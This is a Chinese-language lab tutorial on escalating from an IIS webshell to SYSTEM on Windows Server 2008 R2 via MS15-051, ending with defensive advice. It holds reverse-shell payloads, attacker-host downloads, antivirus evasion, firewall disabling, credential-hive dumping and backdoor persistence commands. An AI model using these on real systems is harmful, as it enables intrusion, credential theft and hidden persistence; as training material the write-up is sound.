Windows Server 2008 R2渗透测试:从低权限WebShell到SYSTEM权限的MS15-051本地提权实战 1. 项目概述与背景最近在整理一些老旧的内部测试环境发现还有几台Windows Server 2008 R2的机器在跑着一些边缘业务。出于安全审计的习惯我顺手做了一次渗透测试结果还真让我在其中一个Web应用上找到了一个上传点成功拿到了一个WebShell。但问题来了这个WebShell的权限是IIS APPPOOL\DefaultAppPool也就是一个低权限的应用程序池账户想干点啥都受限连读个系统日志都费劲。这时候针对这类老系统的经典本地提权漏洞就派上用场了。这次我选择的是MS15-051一个在Windows内核驱动win32k.sys里的本地权限提升漏洞。这个漏洞的利用过程非常经典从低权限的WebShell到最终拿到SYSTEM权限每一步都充满了“老派”渗透测试的味道。这篇文章我就来详细拆解这个过程不仅告诉你“怎么做”更会深入聊聊“为什么这么做”以及在这个老系统上操作时需要注意的那些坑。对于刚接触内网渗透或者权限提升的朋友来说这个过程是一个绝佳的学习案例。它涵盖了从信息收集、漏洞利用、到权限维持的完整链条。虽然目标是老旧的Server 2008但其中涉及的思路、工具和排错方法在应对其他Windows系统时依然有很高的参考价值。整个操作我会在虚拟机环境中进行复现确保每一步都可复现、可验证。2. 环境准备与信息收集2.1 靶机环境搭建要复现这个场景你需要准备两个核心环境靶机和攻击机。靶机我选择的是Windows Server 2008 R2 Standard带SP1这是MS15-051影响的一个典型版本。安装时我特意选择了默认设置并安装了IIS角色创建了一个简单的ASP.NET网站里面故意留了一个不安全的文件上传功能用于模拟获取初始WebShell的场景。攻击机我使用的是Kali Linux 2024.1它集成了我们后续需要的所有工具。确保两台机器网络互通我这里是让它们都连接到同一个虚拟网络的NAT模式下这样攻击机可以访问靶机的Web服务80端口和后续可能开放的端口。注意强烈建议在完全隔离的虚拟机环境中进行所有测试例如使用VMware或VirtualBox的仅主机Host-Only网络。绝对不要在生产环境或任何未经授权的系统上进行此类操作。2.2 初始信息收集拿到一个低权限的WebShell后第一件事不是急着跑漏洞利用程序而是尽可能多地收集系统信息。这就像侦探破案前先勘察现场一样。我们需要知道目标的“体质”如何。通过WebShell我执行了以下命令来收集信息系统与架构信息systeminfo | findstr /B /C:OS Name /C:OS Version /C:System Type这条命令快速过滤出操作系统名称、版本和系统类型是32位还是64位。对于MS15-051我们需要根据系统架构选择对应的利用程序。我的靶机返回的是“x64-based PC”这意味着我们需要64位的利用程序。用户与权限信息whoami /all这条命令至关重要。它列出了当前用户我们的WebShell账户的详细信息包括用户名、所属组、以及拥有的特权Privileges。我们能看到当前用户是IIS APPPOOL\DefaultAppPool它通常只拥有一些非常基本的权限如SeChangeNotifyPrivilege绕过遍历检查但缺少关键的SeDebugPrivilege调试程序或SeImpersonatePrivilege模拟客户端等这些是许多提权手法的前置条件。MS15-051的好处在于它对当前用户的特权要求极低。补丁情况wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:KB /C:MS15或者更直接地检查特定补丁是否安装wmic qfe | findstr 3057191MS15-051对应的安全更新是KB3057191。如果这条命令有返回结果说明补丁已安装此漏洞可能无法利用。我的测试环境是纯净安装未打任何补丁所以显示为空漏洞存在。网络与进程信息ipconfig netstat -ano tasklist这些命令帮助我们了解靶机的内网IP地址、开放了哪些端口看看有没有意外的远程桌面端口3389或者其他服务以及正在运行哪些进程。了解这些可以为后续的横向移动或权限维持做准备。收集完这些信息我们心里就有底了这是一台64位的Windows Server 2008 R2未安装KB3057191补丁当前是低权限的IIS应用程序池账户。环境符合MS15-051的利用条件。3. 漏洞原理与利用工具解析3.1 MS15-051漏洞原理浅析MS15-051编号中的“MS”代表Microsoft“15”是2015年“051”是该年度第51个安全公告。它是一个存在于win32k.sys内核驱动中的“竞争条件”Race Condition漏洞。你可以把内核想象成操作系统的“心脏”拥有最高的权限SYSTEM。而win32k.sys是负责处理Windows图形用户界面GUI和窗口管理的核心驱动。漏洞的根源在于该驱动在处理某个内核对象一个叫Menu的对象时存在一处代码逻辑缺陷。攻击者可以精心构造一个程序通过用户模式我们的低权限环境去调用一个特定的系统调用系统调用是用户程序请求内核服务的接口在这个调用过程中利用极短的时间差在驱动释放某个内核对象的内存之后、重新使用之前去篡改与该对象关联的关键数据。成功利用这个竞争条件后攻击者就能在内核空间执行任意代码。因为代码是在内核态执行的所以天然就拥有SYSTEM权限。利用程序通常会在这个时机向内核中注入一个提权“payload”这个payload的功能很简单将当前进程的访问令牌Token可以理解为进程的“身份证”决定了进程的权限替换成SYSTEM进程的令牌。令牌替换完成后我们的进程就“升级”成了SYSTEM权限。3.2 利用工具选择与准备网络上公开的MS15-051利用工具很多我经过对比测试选择了一个稳定性和兼容性都比较好的版本通常被称为MS15-051.exe。这个工具是一个命令行程序它已经将上述复杂的利用过程封装好了。我们需要根据靶机的系统架构下载对应版本。由于之前信息收集显示是64位系统所以我下载了64位版本。在Kali攻击机上我们可以使用msfvenom生成一个简单的反向Shell作为payload并将其与利用工具一起上传到靶机。首先在Kali上生成一个64位的Windows反向Shell可执行文件msfvenom -p windows/x64/shell_reverse_tcp LHOST192.168.1.10 LPORT4444 -f exe -o shell.exe这里的LHOST要填写Kali攻击机的IP地址LPORT是监听端口。然后我们需要将两个文件MS15-051.exe和shell.exe上传到靶机。通过WebShell的上传功能或者如果WebShell支持远程下载可以使用certutil命令从攻击机下载# 在靶机WebShell中执行假设攻击机用Python开了HTTP服务 certutil -urlcache -split -f http://192.168.1.10/MS15-051.exe ms15.exe certutil -urlcache -split -f http://192.168.1.10/shell.exe shell.exe实操心得杀毒软件绕过。即使是老旧的Server 2008如果安装了杀毒软件可能会查杀我们的shell.exe。有几种应对方法一是对生成的Shell进行编码或混淆msfvenom的-e和-i参数二是使用msfvenom的-k选项将其嵌入到一个正常的可执行文件模板中最直接的方法是在测试环境中临时关闭杀毒软件实时监控。对于ms15.exe这类本地提权工具杀软通常不那么敏感但也要注意。4. 手把手提权实战过程4.1 执行漏洞利用程序文件上传成功后在WebShell中我们进入文件所在目录先执行漏洞利用程序。它的典型用法是ms15.exe “需要提权执行的命令”或者更常见的用法是它可以直接生成一个具有SYSTEM权限的新的命令提示符cmd.exe进程。我们这样执行ms15.exe “cmd.exe”执行瞬间如果漏洞利用成功你会看到命令行窗口可能快速闪动一下然后似乎什么都没有发生。实际上在后台一个全新的、拥有SYSTEM权限的cmd.exe进程已经创建了。但是这个新进程是独立运行的它没有附着在我们当前的WebShell会话上所以我们看不到它的输出。4.2 连接高权限会话既然新的SYSTEM权限的cmd.exe已经运行我们怎么去控制它呢这里就需要用到网络连接。这就是为什么之前要生成一个反向Shellshell.exe的原因。我们需要让这个高权限的进程去执行我们的反向Shell从而让Shell连接回我们的攻击机。我们分两步走第一步在Kali上启动监听。打开一个新的终端使用netcat监听我们在生成Shell时指定的端口4444nc -nvlp 4444第二步在WebShell中通过漏洞利用程序启动反向Shell。现在我们让ms15.exe去执行shell.exems15.exe “shell.exe”执行这条命令后ms15.exe会以SYSTEM权限启动shell.exe。shell.exe会立即向攻击机192.168.1.10:4444发起TCP连接。此时观察Kali上正在监听的nc终端你应该会看到连接成功的提示并且命令行提示符变成了类似C:\Windows\system32的样子。立即执行whoami命令验证whoami如果返回nt authority\system那么恭喜你提权成功了你已经从一个受限的WebShell账户晋升为这台Windows Server 2008的最高权限者。4.3 替代方法创建高权限用户除了反向Shell还有一种更直接、更便于后续操作的方法直接添加一个管理员用户。这在某些需要图形化登录或者进行更多系统配置的场景下很有用。同样通过漏洞利用程序执行ms15.exe “net user hacker Pssw0rd123! /add” ms15.exe “net localgroup administrators hacker /add”第一条命令创建了一个名为hacker密码为Pssw0rd123!的用户。第二条命令将这个用户添加到本地Administrators组。由于命令是以SYSTEM权限执行的所以可以无视任何用户管理策略直接成功。添加成功后如果靶机开启了远程桌面服务默认可能未开启需要手动开启或检查端口3389你就可以直接用这个新账号进行远程桌面登录了。注意事项命令的路径与空格。在ms15.exe “command”的格式中如果命令或路径包含空格一定要使用双引号括起来。例如如果我们的shell.exe放在C:\Program Files\test目录下命令应该写成ms15.exe “C:\Program Files\test\shell.exe”。否则程序会解析错误。5. 深度利用与权限维持拿到SYSTEM权限不是终点而是另一个起点。我们需要巩固战果并探索进一步行动的可能性。5.1 信息深度收集现在有了最高权限可以收集更敏感的信息获取所有密码哈希使用mimikatz工具需上传。但更简单的是直接导出SAM数据库reg save hklm\sam C:\sam.save reg save hklm\system C:\system.save之后可以将这两个文件下载到攻击机用secretsdump.pyImpacket工具套件之一或mimikatz离线解析出所有本地用户的NTLM哈希。查看补丁详情systeminfo命令现在可以完整执行查看所有已安装补丁为判断其他漏洞利用可能性提供依据。分析进程与服务以SYSTEM权限运行tasklist /svc和sc query可以查看所有进程及其关联的服务特别是那些以SYSTEM权限运行的服务是权限维持的潜在目标。网络共享与域信息执行net share查看共享net view /domain和net group “domain computers” /domain如果机器在域中来收集域内信息。5.2 权限维持技术不能让到手的管理员权限因为一次重启就消失。常见的权限维持方法有创建计划任务创建一个定时启动的后门或添加用户的计划任务。schtasks /create /tn “MyBackdoor” /tr “C:\shell.exe” /sc hourly /mo 1 /ru SYSTEM这条命令创建一个名为MyBackdoor的任务每小时运行一次shell.exe以SYSTEM权限运行。注册表自启动将后门程序路径写入注册表运行键。reg add “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “UpdateService” /t REG_SZ /d “C:\shell.exe” /f服务安装将后门程序安装为一个系统服务实现持久化。sc create “BackdoorService” binPath “C:\shell.exe” start auto sc start BackdoorService重要提示服务安装的坑。通过sc create创建服务时binPath后面的等号和路径之间必须有一个空格这是sc命令一个非常经典的语法要求写错了会导致服务创建失败。正确的写法是binPath “C:\shell.exe”。隐藏后门账户之前添加的hacker账户在net user列表中可见。可以将其隐藏例如通过修改注册表或者更隐蔽地克隆一个已存在但很少使用的账户如Guest的权限和SID这需要更高级的工具如mimikatz的Skeleton Key功能或metasploit的incognito模块。5.3 横向移动准备在单机提权成功后如果目标处于内网中这台拥有SYSTEM权限的机器就成为了一个绝佳的跳板。启用远程桌面如果之前未启用可以快速开启。reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh advfirewall firewall set rule group”remote desktop” new enableYes抓取密码与票据使用mimikatz抓取内存中的明文密码、哈希和Kerberos票据。如果当前机器是域成员抓取到的域管理员票据或哈希可能直接用于攻击域控制器。端口转发与代理使用plink.exePutty的命令行工具或netsh portproxy在跳板机上建立端口转发将内网其他机器的端口映射出来方便攻击机直接访问。6. 常见问题与排查技巧实录在实际操作中很少有一帆风顺的时候。下面是我在多次测试中遇到的一些典型问题及解决方法。6.1 漏洞利用失败的可能原因系统已打补丁这是最常见的原因。务必用wmic qfe get HotFixID | findstr “3057191”或systeminfo确认KB3057191是否已安装。Server 2008 R2的后续累积更新也会修复此漏洞。利用程序版本不匹配32位系统用了64位的利用程序或者反之。一定要用systeminfo确认System Type。也有少数情况需要尝试不同来源或编译版本的MS15-051利用程序有的可能对系统语言版本或具体构建号更敏感。防病毒软件拦截实时监控可能拦截了利用程序的行为或生成的恶意进程。尝试在测试环境中禁用AV或者对利用程序进行简单的混淆如加壳、修改哈希。DEP/ASLR等缓解措施虽然Server 2008时代的缓解措施没有现在这么强但某些配置可能影响利用。MS15-051的利用程序通常已经考虑了绕过这些措施。WebShell执行环境限制某些WebShell由于安全配置如.NET信任级别、PHP的disable_functions可能无法成功创建新进程或执行某些系统调用。可以尝试换用不同的WebShell类型如aspx换成ashxphp换成jsp或者寻找其他命令执行途径。6.2 反向Shell连接不上监听设置错误检查Kali上的nc监听命令是否正确IP和端口是否与shell.exe中配置的LHOST,LPORT一致。防火墙是否阻挡了入站连接sudo ufw status。靶机出站防火墙Windows防火墙可能阻止了shell.exe发起的出站连接。可以尝试在WebShell中提权前或后用ms15.exe临时关闭防火墙ms15.exe “netsh advfirewall set allprofiles state off”Payload生成问题msfvenom生成的某些payload可能与目标系统不完全兼容。尝试使用更稳定的payload如windows/x64/meterpreter/reverse_tcp并配合Metasploit的multi/handler模块监听兼容性更好。或者使用nc的-e参数版本如果靶机有nc的话。杀软拦截shell.exe在连接前或连接时被内存查杀。使用编码器或尝试不同的payload格式。6.3 提权后操作受限即使拿到了SYSTEM权限的Shell有时也会发现某些操作失败比如无法访问某些文件、无法修改某些注册表项。这通常不是权限问题而是因为SYSTEM账户的访问令牌Token虽然权限高但可能缺少某些特定的用户权限Privileges或者触发了用户账户控制UAC的某些内部机制尽管UAC对SYSTEM账户影响较小。一个更稳健的方法是使用meterpreter的getsystem命令它内置了多种提权技术包括MS15-051并且提权后的meterpreter会话环境更稳定。或者在拿到SYSTEM的cmd后立即迁移Migrate到一个稳定的系统进程如lsass.exe或services.exe中。这可以通过在meterpreter会话中使用migrate命令实现。6.4 关于老旧系统渗透的思考这次针对Windows Server 2008的测试暴露出老旧系统在无人维护后的巨大安全风险。MS15-051是一个2015年披露的漏洞至今已有近十年历史官方早已停止对Server 2008的主流支持。但对于很多企业由于遗留软件兼容性、升级成本等问题这些系统依然在线。作为防御方面对无法立即升级的老系统必须采取补偿性控制措施严格网络隔离将老旧系统置于独立的网络分区限制其访问范围特别是不能直接访问互联网。最小权限原则运行业务的账户如IIS应用程序池账户赋予绝对最小权限避免使用高权限账户运行服务。及时安装可用补丁即使超出主流支持也应评估和安装重要的安全更新Extended Support阶段可能仍有更新。加强入侵检测在网络层和主机层部署安全监控对异常进程创建如cmd.exe、powershell.exe由Web进程启动、可疑网络连接如反向Shell连接进行告警。应用层加固修复导致WebShell上传的漏洞如文件上传过滤不严、SQL注入等从根本上切断攻击链。整个从WebShell到System的渗透过程就像一场精心策划的“破门而入”。MS15-051是我们找到的一把藏在老旧门锁里的万能钥匙。通过这个案例我们不仅学习了一个具体漏洞的利用更重要的是理解了权限提升的核心逻辑寻找并利用系统在权限边界上的缺陷。在真实的渗透测试或红队评估中面对打了补丁的现代系统我们需要更丰富的知识库如最新的CVE漏洞、配置错误、凭据滥用等和更巧妙的绕过技巧。但无论技术如何演变那种层层递进、抽丝剥茧的分析思路和严谨的操作流程是永远不会过时的。最后记住所有技术都应在合法授权的范围内使用不断学习这些知识是为了更好地构建防御。